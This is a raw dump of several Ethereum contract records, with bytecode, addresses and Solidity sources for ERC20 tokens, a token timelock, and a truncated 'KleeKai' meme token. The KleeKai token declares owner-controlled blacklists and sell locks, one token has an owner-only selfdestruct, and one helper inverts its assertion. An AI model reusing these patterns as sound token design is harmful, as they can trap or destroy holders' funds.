8565b9250925092506000611c5e61192f565b90506000806000611c718e878787611ece565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f1565b905092915050565b6000808284611cf2919061271b565b905083811015611d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2e90612576565b60405180910390fd5b8091505092915050565b6000611d4b61192f565b90506000611d628284611f5790919063ffffffff16565b9050611db681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1382600854611c9990919063ffffffff16565b600881905550611e2e81600954611ce390919063ffffffff16565b6009819055505050565b600080600080611e646064611e56888a611f5790919063ffffffff16565b61195a90919063ffffffff16565b90506000611e8e6064611e80888b611f5790919063ffffffff16565b61195a90919063ffffffff16565b90506000611eb782611ea9858c611c9990919063ffffffff16565b611c9990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ee78589611f5790919063ffffffff16565b90506000611efe8689611f5790919063ffffffff16565b90506000611f158789611f5790919063ffffffff16565b90506000611f3e82611f308587611c9990919063ffffffff16565b611c9990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f6a5760009050611fcc565b60008284611f7891906127a2565b9050828482611f879190612771565b14611fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbe90612596565b60405180910390fd5b809150505b92915050565b600081359050611fe181612b3f565b92915050565b600081519050611ff681612b3f565b92915050565b60008135905061200b81612b56565b92915050565b60008151905061202081612b56565b92915050565b60008135905061203581612b6d565b92915050565b60008151905061204a81612b6d565b92915050565b60006020828403121561206257600080fd5b600061207084828501611fd2565b91505092915050565b60006020828403121561208b57600080fd5b600061209984828501611fe7565b91505092915050565b600080604083850312156120b557600080fd5b60006120c385828601611fd2565b92505060206120d485828601611fd2565b9150509250929050565b6000806000606084860312156120f357600080fd5b600061210186828701611fd2565b935050602061211286828701611fd2565b925050604061212386828701612026565b9150509250925092565b6000806040838503121561214057600080fd5b600061214e85828601611fd2565b925050602061215f85828601612026565b9150509250929050565b60006020828403121561217b57600080fd5b600061218984828501611ffc565b91505092915050565b6000602082840312156121a457600080fd5b60006121b284828501612011565b91505092915050565b6000806000606084860312156121d057600080fd5b60006121de8682870161203b565b93505060206121ef8682870161203b565b92505060406122008682870161203b565b9150509250925092565b60006122168383612222565b60208301905092915050565b61222b81612830565b82525050565b61223a81612830565b82525050565b600061224b826126d6565b61225581856126f9565b9350612260836126c6565b8060005b83811015612291578151612278888261220a565b9750612283836126ec565b925050600181019050612264565b5085935050505092915050565b6122a781612842565b82525050565b6122b681612885565b82525050565b60006122c7826126e1565b6122d1818561270a565b93506122e1818560208601612897565b6122ea81612928565b840191505092915050565b6000612302602a8361270a565b915061230d82612939565b604082019050919050565b600061232560228361270a565b915061233082612988565b604082019050919050565b6000612348601b8361270a565b9150612353826129d7565b602082019050919050565b600061236b60218361270a565b915061237682612a00565b604082019050919050565b600061238e60208361270a565b915061239982612a4f565b602082019050919050565b60006123b160298361270a565b91506123bc82612a78565b604082019050919050565b60006123d460248361270a565b91506123df82612ac7565b604082019050919050565b60006123f760178361270a565b915061240282612b16565b602082019050919050565b6124168161286e565b82525050565b61242581612878565b82525050565b60006020820190506124406000830184612231565b92915050565b600060408201905061245b6000830185612231565b6124686020830184612231565b9392505050565b60006040820190506124846000830185612231565b612491602083018461240d565b9392505050565b600060c0820190506124ad6000830189612231565b6124ba602083018861240d565b6124c760408301876122ad565b6124d460608301866122ad565b6124e16080830185612231565b6124ee60a083018461240d565b979650505050505050565b600060208201905061250e600083018461229e565b92915050565b6000602082019050818103600083015261252e81846122bc565b905092915050565b6000602082019050818103600083015261254f816122f5565b9050919050565b6000602082019050818103600083015261256f81612318565b9050919050565b6000602082019050818103600083015261258f8161233b565b9050919050565b600060208201905081810360008301526125af8161235e565b9050919050565b600060208201905081810360008301526125cf81612381565b9050919050565b600060208201905081810360008301526125ef816123a4565b9050919050565b6000602082019050818103600083015261260f816123c7565b9050919050565b6000602082019050818103600083015261262f816123ea565b9050919050565b600060208201905061264b600083018461240d565b92915050565b600060a082019050612666600083018861240d565b61267360208301876122ad565b81810360408301526126858186612240565b90506126946060830185612231565b6126a1608083018461240d565b9695505050505050565b60006020820190506126c0600083018461241c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127268261286e565b91506127318361286e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612766576127656128ca565b5b828201905092915050565b600061277c8261286e565b91506127878361286e565b925082612797576127966128f9565b5b828204905092915050565b60006127ad8261286e565b91506127b88361286e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f1576127f06128ca565b5b828202905092915050565b60006128078261286e565b91506128128361286e565b925082821015612825576128246128ca565b5b828203905092915050565b600061283b8261284e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128908261286e565b9050919050565b60005b838110156128b557808201518184015260208101905061289a565b838111156128c4576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b4881612830565b8114612b5357600080fd5b50565b612b5f81612842565b8114612b6a57600080fd5b50565b612b768161286e565b8114612b8157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aeaf6f68edb2f9d8edbc0fe629248efd56affd3e1f8e159f2880330e5874f90e64736f6c63430008040033
[ 13, 0, 5 ]
0xf1c70c6649585a8f4b8722249ae0f2a4df0eb63b
pragma solidity ^0.4.20; contract SafeMath { function safeMul(uint256 a, uint256 b) public pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b)public pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b)public pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b)public pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function _assert(bool assertion)public pure { assert(!assertion); } } contract ERC20Interface { string public name; string public symbol; uint8 public decimals; uint public totalSupply; function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnerShip(address newOwer) public onlyOwner { owner = newOwer; } } contract SelfDesctructionContract is owned { string public someValue; modifier ownerRestricted { require(owner == msg.sender); _; } function SelfDesctructionContract() { owner = msg.sender; } function setSomeValue(string value){ someValue = value; } function destroyContract() ownerRestricted { selfdestruct(owner); } } contract ERC20 is ERC20Interface,SafeMath,SelfDesctructionContract{ mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) allowed; constructor(string _name) public { name = _name; // "UpChain"; symbol = "XKL血康链"; decimals = 4; totalSupply =80000000000000; balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); require(balanceOf[msg.sender] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[msg.sender] =SafeMath.safeSub(balanceOf[msg.sender],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to],_value) ; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf[_from] >= _value); require(balanceOf[ _to] + _value >= balanceOf[ _to]); balanceOf[_from] =SafeMath.safeSub(balanceOf[_from],_value) ; balanceOf[_to] =SafeMath.safeAdd(balanceOf[_to],_value) ; allowed[_from][msg.sender] =SafeMath.safeSub(allowed[_from][msg.sender],_value) ; emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063092a5cce14610195578063095ea7b3146101ac57806318160ddd146101e457806323b872dd1461020b578063313ce567146102355780634a627e611461026057806370a08231146102755780638863dd1a146102965780638da5cb5b146102b757806395d89b41146102e8578063a293d1e8146102fd578063a9059cbb14610318578063b5931f7c1461033c578063cdeda05514610357578063d05c78da14610371578063d894e9371461038c578063dd62ed3e146103e5578063e6cb90131461040c575b600080fd5b34801561011757600080fd5b50610120610427565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101aa6104b5565b005b3480156101b857600080fd5b506101d0600160a060020a03600435166024356104da565b604080519115158252519081900360200190f35b3480156101f057600080fd5b506101f9610540565b60408051918252519081900360200190f35b34801561021757600080fd5b506101d0600160a060020a0360043581169060243516604435610546565b34801561024157600080fd5b5061024a6106d5565b6040805160ff9092168252519081900360200190f35b34801561026c57600080fd5b506101206106de565b34801561028157600080fd5b506101f9600160a060020a0360043516610739565b3480156102a257600080fd5b506101aa600160a060020a036004351661074b565b3480156102c357600080fd5b506102cc610791565b60408051600160a060020a039092168252519081900360200190f35b3480156102f457600080fd5b506101206107a0565b34801561030957600080fd5b506101f96004356024356107fa565b34801561032457600080fd5b506101d0600160a060020a036004351660243561080c565b34801561034857600080fd5b506101f960043560243561090a565b34801561036357600080fd5b506101aa6004351515610945565b34801561037d57600080fd5b506101f9600435602435610950565b34801561039857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101aa9436949293602493928401919081908401838280828437509497506109749650505050505050565b3480156103f157600080fd5b506101f9600160a060020a036004358116906024351661098b565b34801561041857600080fd5b506101f96004356024356109b6565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104ad5780601f10610482576101008083540402835291602001916104ad565b820191906000526020600020905b81548152906001019060200180831161049057829003601f168201915b505050505081565b600454600160a060020a031633146104cc57600080fd5b600454600160a060020a0316ff5b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b6000600160a060020a038316151561055d57600080fd5b600160a060020a038416600090815260076020908152604080832033845290915290205482111561058d57600080fd5b600160a060020a0384166000908152600660205260409020548211156105b257600080fd5b600160a060020a03831660009081526006602052604090205482810110156105d957600080fd5b600160a060020a0384166000908152600660205260409020546105fc90836107fa565b600160a060020a03808616600090815260066020526040808220939093559085168152205461062b90836109b6565b600160a060020a03808516600090815260066020908152604080832094909455918716815260078252828120338252909152205461066990836107fa565b600160a060020a038086166000908152600760209081526040808320338085529083529281902094909455835186815293519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b60025460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104ad5780601f10610482576101008083540402835291602001916104ad565b60066020526000908152604090205481565b600454600160a060020a0316331461076257600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104ad5780601f10610482576101008083540402835291602001916104ad565b60008282111561080657fe5b50900390565b6000600160a060020a038316151561082357600080fd5b3360009081526006602052604090205482111561083f57600080fd5b600160a060020a038316600090815260066020526040902054828101101561086657600080fd5b3360009081526006602052604090205461088090836107fa565b3360009081526006602052604080822092909255600160a060020a038516815220546108ac90836109b6565b600160a060020a0384166000818152600660209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008080831161091657fe5b828481151561092157fe5b049050828481151561092f57fe5b06818402018414151561093e57fe5b9392505050565b801561094d57fe5b50565b600082820283158061096c575082848281151561096957fe5b04145b151561093e57fe5b80516109879060059060208401906109d0565b5050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600082820183811080159061096c57508281101561093e57fe5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610a1157805160ff1916838001178555610a3e565b82800160010185558215610a3e579182015b82811115610a3e578251825591602001919060010190610a23565b50610a4a929150610a4e565b5090565b610a6891905b80821115610a4a5760008155600101610a54565b905600a165627a7a72305820928dcab5a7e421c5c5ae2274d1f1eb325f66f49e288b244548f4be191f3d200f0029
[ 38 ]
0xf1c752a387e49f2d677943649dac2baa459e47b8
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30326400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x094981A3685c0C93c1c5C710f3D2755152783B33; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058208b131991c01db2ab94655213feb9b3b824c2617cb4c905be879b7bcd46bc0a700029
[ 16, 7 ]
0xf1c77e6f9c1ac3a67e79855a2cd0728a9127bbe7
/* __ ___ ___ _______ _______ __ ___ __ __ |/"| / ")|" | /" "| /" "| |/"| / ") /""\ |" \ (: |/ / || | (: ______)(: ______) (: |/ / / \ || | | __/ |: | \/ | \/ | | __/ /' /\ \ |: | (// _ \ \ |___ // ___)_ // ___)_ (// _ \ // __' \ |. | |: | \ \ ( \_|: \(: "|(: "| |: | \ \ / / \\ \ /\ |\ (__| \__) \_______)\_______) \_______) (__| \__)(___/ \___)(__\_|_) .:==+++++++++++==-. :=++=-:.............:-=++-. .=+=::=++*=..... .....-=*=. :++-..=#*+++**:..... .-=-::+*: :++:...+#+*##*+**:..........:==+++#=.:=+. =*:....=#+*#*+%++#*+++++++=:+#*+**++#=..:*= =+.....:#++#+*##++++++++++=+*#++##*#+==...:++ :*......=#+###*++++++++++++++++++#*+#*--. ...+= #-.....:#*+#*+++++++++++++++++++++#*#*+#-....:#: -*......-%++++++++++++++++++++++++++#%*+#=.....=* =+.....:#*++++=. :++++++++++++=++++++*++#=.....:% =+....-#*+++++=. =+++++++++: =+++++++%-.....:% :#...:#*++++*##*++++++++++++=--=++++++++%-.....-# #-..+#-...:=+**#+++++++++++*####*++++++*#.....*- .*..+* -+*+=##+++*+++#*+++++++++++%:...=* =+.=#: . *%#**%%--++++=-:. .:+%-..-#. -*-#*++==--====..=##+-. =#::++ -*=: :+. +##%#+:..-. .-#--*- +- * .:%###%%*+: .:=#+*+. +- =: .:-*####+.. ...:::=#%*=++: #: *===+#%+===:::::::--==+*%*++=+==*- =+. .::-=*###*################*: :+ :=+= ++:. :=+*#*+====*****+-. # -*- :+*=-=. ======-:::::::.. .. # .::=# .+%:.*- + +*=*+=#++: .::+::.:+=:::-+*: #-:=# .- --=+: #:-+ ::-##*#*++#*=-. -+==**** .--. :#=**===+++*##-* .#:=- -*: .#. .- ..:++#=: :-#+**-:*-*.:#. .#. .+++==+=-::-#:-%+--+++*#: ++.-+ =* -=== .::. .:-=+++++++- :::#-: =#+#: =* * .-=-:::-+*#+=:. .::=#+++*- -= :*- -* .=**. .:-=+*=-:. .:=#::::. .#.-*= .:--=====**==----=+=-::-**==--:. :*=: -+%*=-::::+*+=. .-++++======+*- .-==-::. ..:-===+%*=---===:#:.-====-: .+*+==+++++++++*. .=*: .::#. #+++++++++++++* . :=+++++=: .++=-=+*#: .**++++++++++# -**++***+=+*+. .:---:+#+==:..::::.. +#++++++++*- **+**+---=**++#: :**++===*#*++++*#*++=: :**++++++# -#+**:.....:+*+*# =#+++++++===**++#*++++#. -#*++++# . =#+*=.......-#++% +*+++++++++++==*#*+++++##+*+::. :**++#. .#*+*-.....-**+#+ +*++++++++++++++==**++++#*=*#++***+- :+##* . .#*+**+++**+*#+ -*++++++**********#**#*+*#++#=::-=+**#+: -**-. .=##*****##+- *++++++##++++++++*#+++*#*#*##*++++++***#= -++-:. .:-====-. .#++++++%++++++++*#+++++**=+- -+**###**+=: :=++=:... -*++++++*#*++++++#++++++**=+#***+=: :=++=-::... -*+++++++*##**+++#++++++#+=#+--=++*#+: :=+++=-::::.... -*+++++*****######*****##**%+---=++**#*: :-++++=-:::::::::-#***************#%####--+==*##****####* :-==+++++==-#**********#####**++*#++#====-::-::. ..:::---=###**++#++++++#*=+#==++**+- :+##**#+++**##++#+---=++**#= .-=**####-=*#+#********### */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }interface IUniswapERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint DEADline, uint8 v, bytes32 r, bytes32 s) external; } interface IUniswapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapRouter01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint DEADline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint DEADline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint DEADline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint DEADline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint DEADline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint DEADline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint DEADline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint DEADline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint DEADline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint DEADline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint DEADline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint DEADline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapRouter02 is IUniswapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint DEADline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint DEADline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint DEADline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint DEADline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint DEADline ) external; } contract protected { mapping (address => bool) is_auth; function authorized(address addy) public view returns(bool) { return is_auth[addy]; } function set_authorized(address addy, bool booly) public onlyAuth { is_auth[addy] = booly; } modifier onlyAuth() { require( is_auth[msg.sender] || msg.sender==owner, "not owner"); _; } address owner; modifier onlyowner { require(msg.sender==owner, "not owner"); _; } bool locked; modifier safe() { require(!locked, "reentrant"); locked = true; _; locked = false; } receive() external payable {} fallback() external payable {} } contract KLEE is ERC20, protected { mapping (address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _allowances; mapping (address => uint256) public _sellLock; mapping (address => bool) public _excluded; mapping (address => bool) public _excludedFromSellLock; mapping (address => bool) public _blacklist; bool isBlacklist = true; string public constant _name = 'KleeKai'; string public constant _symbol = 'KLEE'; uint8 public constant _decimals = 9; uint256 public constant InitialSupply= 100000000 * 10**9 * 10**_decimals; uint256 swapLimit = 500000 * 10**9 * 10**_decimals; // 0.5% bool isSwapPegged = true; uint16 public BuyLimitDivider=50; // 2% uint8 public BalanceLimitDivider=25; // 4% uint16 public SellLimitDivider=125; // 